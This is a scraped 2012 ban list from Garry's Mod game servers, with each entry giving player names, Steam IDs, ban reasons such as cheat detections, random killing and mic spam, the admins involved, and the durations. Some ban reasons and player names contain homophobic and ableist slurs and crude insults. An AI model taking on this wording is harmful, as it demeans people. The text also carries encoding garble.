Kommand Trouble in Terrorist Town Permanent Banned +12:18 am 05-05-12 Unknown STEAM_0:0:21553359 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:17 am 05-05-12 Unknown STEAM_0:0:40897007 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:15 am 05-05-12 Unknown STEAM_0:0:21760599 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:15 am 05-05-12 Unknown STEAM_0:1:15801351 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:13 am 05-05-12 Unknown STEAM_0:1:40407825 Cheat: hh (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:6059942 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:29971267 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30411341 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:37220271 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:37311111 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:49009808 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:21760599 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:18488836 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30051971 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:27209687 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:42055458 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:29784969 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:47574863 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:12110199 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:32971824 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:45036640 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:13789991 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:47585786 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:31629013 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:24857790 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:20928928 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:38456959 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:27362367 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:20546481 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:32979564 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:32723575 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:20027677 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:22010666 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:10089448 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:25999084 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:23645529 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:26177708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:15978572 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30622959 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:10795659 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:8836134 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:27936486 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:20497785 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:25309195 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:47607534 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:45119049 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:03 am 05-05-12 Unknown STEAM_0:1:47326473 Base delete during +faction war +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap ++10 Zombified World 2:18:40 Unbanned +11:59 pm 04-05-12 Unknown STEAM_0:0:45790215 Leaveing during +faction war +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap ++10 Zombified World 2:10:20 Unbanned +9:57 pm 04-05-12 DickHead30 STEAM_0:0:48545435 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:0:0 Unbanned +6:34 pm 04-05-12 +[SP]+ ULTRA STEAM_0:0:10087476 Noob +[SP]+ ULTRA +Official Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +12:20 am 04-05-12 Unknown STEAM_0:1:24724241 Absolute faggot. +Nemesis Fretta|Tigergruppe Kommand The Stalker Permanent Banned +11:55 pm 03-05-12 JoniSkewl STEAM_0:1:30693743 Racism Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:47 pm 02-05-12 Koopa Man STEAM_0:1:32552361 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:33 pm 02-05-12 PoopfaceMc'Gee STEAM_0:0:17495156 Perma for RDM and +racism Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:53 pm 02-05-12 Elly.poos STEAM_0:1:47248552 Racism Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:28 pm 02-05-12 Ron Paul Revolution STEAM_0:0:41336260 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:01 pm 01-05-12 NXG Slight [Slight's Family] STEAM_0:0:44177234 +RDM Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:40 am 01-05-12 Unknown STEAM_0:1:27978990 Aboooose in many ways +Llixo Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 +Unbanned +9:39 am 01-05-12 Sozdatelenator STEAM_0:0:40468303 Exploiting in +several ways Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +12:12 am 01-05-12 «uT»Ldr.Nick STEAM_0:1:21515596 to young to be +here MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:26 pm 29-04-12 The John Stone STEAM_0:1:8284920 Come back when you +stop bullshitting Llixo Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +7:17 pm 29-04-12 mickyman007 STEAM_0:1:42991614 Mic-spam, Mass-RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 41:16:0 Unbanned +6:47 pm 29-04-12 Clit Commander STEAM_0:0:22030218 Abooooosing +faction rules Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +6:46 pm 29-04-12 â??Smaxed STEAM_0:1:20571603 Tard Llixo Official +Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +4:18 pm 29-04-12 Unknown STEAM_0:0:40282348 try it +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +3:19 pm 29-04-12 Triumph STEAM_0:1:1900518 Dick Aion +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +3:13 pm 29-04-12 +[SP]+ Juze STEAM_0:1:30321442 ASKED FOR IT... ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 1:1:0 Unbanned +1:40 pm 29-04-12 Lord Nelson STEAM_0:1:24945665 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +69:10:39 Banned +11:53 pm 28-04-12 ^4[SG]^9File*^1Gamers ^3The Lol STEAM_0:0:40108897 +Bed killing +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Deathrun 0:2:20 Unbanned +11:48 pm 28-04-12 im a brony STEAM_0:1:35727229 Speedhack +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival +Permanent Banned +9:30 pm 28-04-12 |E|F| Dragon - Muncher STEAM_0:0:34706032 prop +pushing Llixo Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +3:55 pm 28-04-12 Unknown STEAM_0:1:41507766 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:18 pm 28-04-12 ZuffeRZ <3 ;) STEAM_0:1:23301187 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:03 am 28-04-12 potato chip STEAM_0:0:31978204 faction exploiting! +good day sir! Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +12:52 am 28-04-12 Unknown STEAM_0:0:39809279 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +10:54 pm 27-04-12 Turtle STEAM_0:1:37698064 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:02 pm 26-04-12 Weenie STEAM_0:0:42778090 Mass RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 9:17:20 Unbanned +7:46 pm 26-04-12 Zombie killer 30000 STEAM_0:1:37115249 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +6:50 pm 26-04-12 Luka_pl666 STEAM_0:0:43221494 RDM, Detective, etc ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 41:16:0 Unbanned +6:40 pm 25-04-12 xD IsAaCdObO xD STEAM_0:0:41228426 Multi-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:15:0 Unbanned +6:03 pm 25-04-12 Ð?Ð?Ð?СТРÑ?ка^_^ STEAM_0:1:50987179 Mass-RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:0 Unbanned +5:25 pm 25-04-12 joshep kony<3 STEAM_0:1:31477346 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +41:16:0 Unbanned +10:23 pm 24-04-12 Sm1LeZ STEAM_0:0:29252577 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:49 pm 24-04-12 Unknown STEAM_0:1:37698064 rdm then left and mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:24 pm 24-04-12 [TW]Camper STEAM_0:0:36032059 Prop Breaking +[SP]+ +Danzomanzo Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +7:24 pm 23-04-12 Max13madify STEAM_0:0:45615489 bye MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +7:03 pm 23-04-12 Wallroux STEAM_0:1:13345181 Multiple RDMing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:58 pm 23-04-12 Unknown STEAM_0:0:36629966 ass MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:55 pm 23-04-12 whiteyed STEAM_0:0:39510368 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:49 pm 22-04-12 Black-Man-cer STEAM_0:0:45816759 Alt of banned ID +STEAM_0:1:26949104 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +9:16 pm 22-04-12 []-S.G-[] Cromwel [GS] STEAM_0:1:14282857 Base +Exploiting +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +11:36 pm 21-04-12 KingJames627 STEAM_0:1:32256280 Stealing weapons in +a Faction BR Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +6:02 pm 21-04-12 Hazasp700 STEAM_0:0:26576328 RDM somewhere else +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +5:21 pm 21-04-12 Unknown STEAM_0:0:39140000 Mass +RDM,Retard,Harassing,Disrespect +[SP]+ Anime Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 20:20:0 Unbanned +3:46 pm 21-04-12 strebkova201 STEAM_0:0:39021114 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:20 Unbanned +2:14 pm 21-04-12 Unknown STEAM_0:0:23236793 Team Killing RDM then +leaving Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +2:22 am 21-04-12 |K.S.O|Kombi-Epic STEAM_0:0:44473083 rejoin and +afk? +[SP]+ Mindtwistah Killa's Zombie Survival Server Zombie +Survival 0:0:10 Unbanned +1:31 am 21-04-12 Unknown STEAM_0:1:43790420 massive RDM... +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:1:0 Unbanned +9:39 pm 20-04-12 Max13madify STEAM_0:0:45615489 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:22 pm 20-04-12 It'smeplayer STEAM_0:1:18241697 RDM, not answering +admin +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:55 pm 20-04-12 ТаÐ?иÐ?Ñ?Ð?иÐ? STEAM_0:1:49859109 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +6:19 pm 20-04-12 DreamøZ STEAM_0:0:48554545 Teamkilling as T +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:08 pm 20-04-12 Unknown STEAM_0:1:34426124 Retarded complainer who +needs to learn some manners Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +10:16 pm 19-04-12 Unknown STEAM_0:0:21850902 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:12 pm 19-04-12 Unknown STEAM_0:1:27776991 Base Deletion during +war +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +7:10 pm 19-04-12 FlaiN ERROR STEAM_0:0:38119366 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +3:50 pm 19-04-12 Unknown STEAM_0:1:47473786 RDM + Discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 pm 18-04-12 thomascunningham2009 STEAM_0:1:49281921 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +5:37 pm 18-04-12 stinky999 STEAM_0:0:47558905 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:14 am 18-04-12 Nigerian Prince of Nigeria STEAM_0:0:13380406 My +finger slipped. +[SP]+ Kaede Official Zombified World|Lvl Cap +10 +Zombified World 41:16:0 Unbanned +10:16 pm 17-04-12 HappyLlama STEAM_0:1:19684916 Triple RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:13 pm 17-04-12 Mcblocky STEAM_0:1:40249775 Constant TKing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:00 pm 17-04-12 Unknown STEAM_0:1:27536502 RDM then leaving Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:18 pm 17-04-12 ^8T^2-Claw-^8|^2VaPz^8znw STEAM_0:1:26056353 Spam ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +2:20 pm 17-04-12 007 STEAM_0:1:39213048 Rdming on many occasions, not +responding to admin +[SP]+ Marked One [SK] Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:52 am 17-04-12 Unknown STEAM_0:0:24771801 Ban Request. Massive +RDM Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:0:0 Unbanned +9:09 pm 16-04-12 Alpha Ducky STEAM_0:0:49068934 Being a fuck tard +Aion Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +9:01 pm 16-04-12 Terkoiz STEAM_0:0:30912188 Propkilling +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +7:47 pm 16-04-12 (G*) The Other Guy STEAM_0:0:8291384 Mic +spamming Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +5:20 pm 16-04-12 Nøjléz STEAM_0:1:8565867 Mass RDM again. Final +warning. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Deathrun +7:0:0 Unbanned +5:11 pm 16-04-12 Unknown STEAM_0:1:29381129 RDMing +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:14:20 +Unbanned +3:35 pm 16-04-12 Myd (russ,fr) STEAM_0:1:17459331 Alt of banned ID +STEAM_0:1:35017108 (Console) Killa's Zombie Survival Server Zombie +Survival 2:21:26 Unbanned +1:08 pm 16-04-12 $@1@/\/\ STEAM_0:0:24652956 Trolling +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +1:08 pm 16-04-12 Captain STEAM_0:0:7406315 Then you can have a ban if +you enjoyed it so much Aion Killa's Zombie Survival Server Zombie +Survival Permanent Unbanned +1:08 pm 16-04-12 KonnA^[danG] STEAM_0:1:9783262 See you in 10 +days Aion Killa's Zombie Survival Server Zombie Survival 1:0:0 +Unbanned +1:01 pm 16-04-12 Fluxy-Dog STEAM_0:1:35017108 Don't be afk the whole +time. Azureus Killa's Zombie Survival Server Zombie Survival 3:0:0 +Unbanned +1:18 am 16-04-12 The Noob STEAM_0:0:22463649 RDM and working with a T +as inno MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:2:0 Unbanned +1:05 am 16-04-12 HappyLlama STEAM_0:1:19684916 shhh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +1:01 am 16-04-12 Unknown STEAM_0:0:46227338 same MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:59 am 16-04-12 HolyFlyingJesus!!! STEAM_0:0:23650481 troll MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +12:51 am 16-04-12 A rock named LAGAX STEAM_0:1:42854549 that should +cover a round or 2 MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:20 Unbanned +8:29 pm 15-04-12 Death Fox STEAM_0:0:22486936 Multiple-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +6:52 pm 15-04-12 [TG] You don't say? STEAM_0:0:22571085 Factional +exploiting and general douche bag Llixo Official Zombified World|Lvl +Cap +10 Zombified World 1:9:20 Unbanned +2:32 pm 15-04-12 {NaN}Tws}AssassinSpy STEAM_0:1:10650982 You are now +banned for continuing Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 10:0:0 Unbanned +10:19 pm 14-04-12 [KSG] Zilenan91 STEAM_0:0:9888611 Buying and +dumping ammo Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +9:04 pm 14-04-12 christianburrell STEAM_0:0:45790215 Faction +exploiting spawn Llixo Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +8:43 pm 14-04-12 Lord Nelson STEAM_0:1:24945665 RDM Low karma +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:24 pm 14-04-12 Unknown STEAM_0:0:33348017 Rdm and leave. You +fuck. Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 13:21:20 Unbanned +12:18 pm 14-04-12 Í¡ °_̯͡ ° shurik=) STEAM_0:1:16466131 mass rdm ++ retarded +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +12:18 pm 14-04-12 [F2B] AssassinJordy [PRO.NL] STEAM_0:0:38877370 +mass rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:11 pm 14-04-12 [F2B] Titon_Ruler STEAM_0:1:48263552 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:10 pm 14-04-12 [F2B] â?ªÂ£Ð?aiohâ?ª STEAM_0:1:6815546 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 pm 14-04-12 [F2B] PENUTTBUTTER STEAM_0:1:37291217 mass rdm + +cunt +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +11:27 am 14-04-12 Unknown STEAM_0:1:5043122 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:42 am 14-04-12 â??â??â??â?? â?£ Cá´?É´á´?á´?ɪ STEAM_0:1:36186168 +change your name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Deathrun 0:0:1 Unbanned +3:14 am 14-04-12 ChazyChap STEAM_0:0:6165790 Your move Spellknite +Fretta|Tigergruppe Kommand Deathrun 0:6:0 Unbanned +9:23 pm 13-04-12 MODDED CLuTcHv3 STEAM_0:1:43558496 RDM. Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:21 pm 13-04-12 soned STEAM_0:0:38454171 Illegal Basespawn, banned +for 1000 minutes +[SP]+ Kaede Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +4:12 pm 13-04-12 Sylux STEAM_0:1:24692556 fuck off MAD MANN +Fretta|Tigergruppe Kommand Prop Hunt 0:1:0 Unbanned +1:56 pm 13-04-12 Unknown STEAM_0:0:26576036 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:51 pm 13-04-12 Unknown STEAM_0:0:34435223 mass rdm then left also +your karma was shit! +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 4:20:40 Unbanned +9:27 pm 12-04-12 Unknown STEAM_0:1:26448145 Grim Jam +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +3:46 pm 12-04-12 KOMENTAJAKOISTINEN STEAM_0:1:18004550 rdming as +the D +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +2:02 am 12-04-12 Ichigo STEAM_0:0:44325449 Nice shot Spellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:0 Unbanned +1:49 am 12-04-12 Héadless Lemon-ception STEAM_0:1:11767583 mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +12:54 am 12-04-12 Rocket Man STEAM_0:1:13469390 Either very retarded +or troll Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:20 Unbanned +10:10 pm 11-04-12 Explosive Sandvich STEAM_0:0:47215367 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:08 pm 11-04-12 Unknown STEAM_0:1:26448145 +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:41 pm 11-04-12 Nøjléz STEAM_0:1:8565867 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:35 am 11-04-12 I Rape Waffles STEAM_0:1:26448145 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 +Unbanned +12:49 am 11-04-12 El Guapo STEAM_0:0:26269320 rdming as D rdming +before and cock +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +3:31 pm 10-04-12 [GStrom] jorma STEAM_0:0:49184346 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:20 pm 10-04-12 lolsama STEAM_0:1:12306664 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +2:42 pm 10-04-12 Wraithguy STEAM_0:0:37493403 Come back when you +learn how to play ttt Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +2:33 pm 10-04-12 Griaule STEAM_0:1:26142713 I banned you, you should +leave Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:35 pm 10-04-12 Ð?Ð?-Ð?Ð?-Ð?Ð?Ð?-Ð?Ð? STEAM_0:0:46746837 come back +with a real name and don ' t mic spam +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +9:25 am 10-04-12 _NewBee STEAM_0:1:47971528 Alt of banned ID +STEAM_0:0:19441588 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:03 am 10-04-12 +[SP]+ Hatcake STEAM_0:0:22843745 Spamming anti +admin propaganda/faggot Spellknite Fretta|Tigergruppe Kommand The +Stalker 0:0:1 Unbanned +1:35 am 10-04-12 +[SP]+ Hatcake STEAM_0:0:22843745 Spamming anti +admin propaganda/faggot Spellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:1 Unbanned +2:26 am 09-04-12 HALLOKITTIE STEAM_0:1:37077624 RDM,low karma +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +12:32 am 09-04-12 Unknown STEAM_0:0:27928204 rdm, been karma kicked +before, left, troll made shit up too : ) +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:24 am 09-04-12 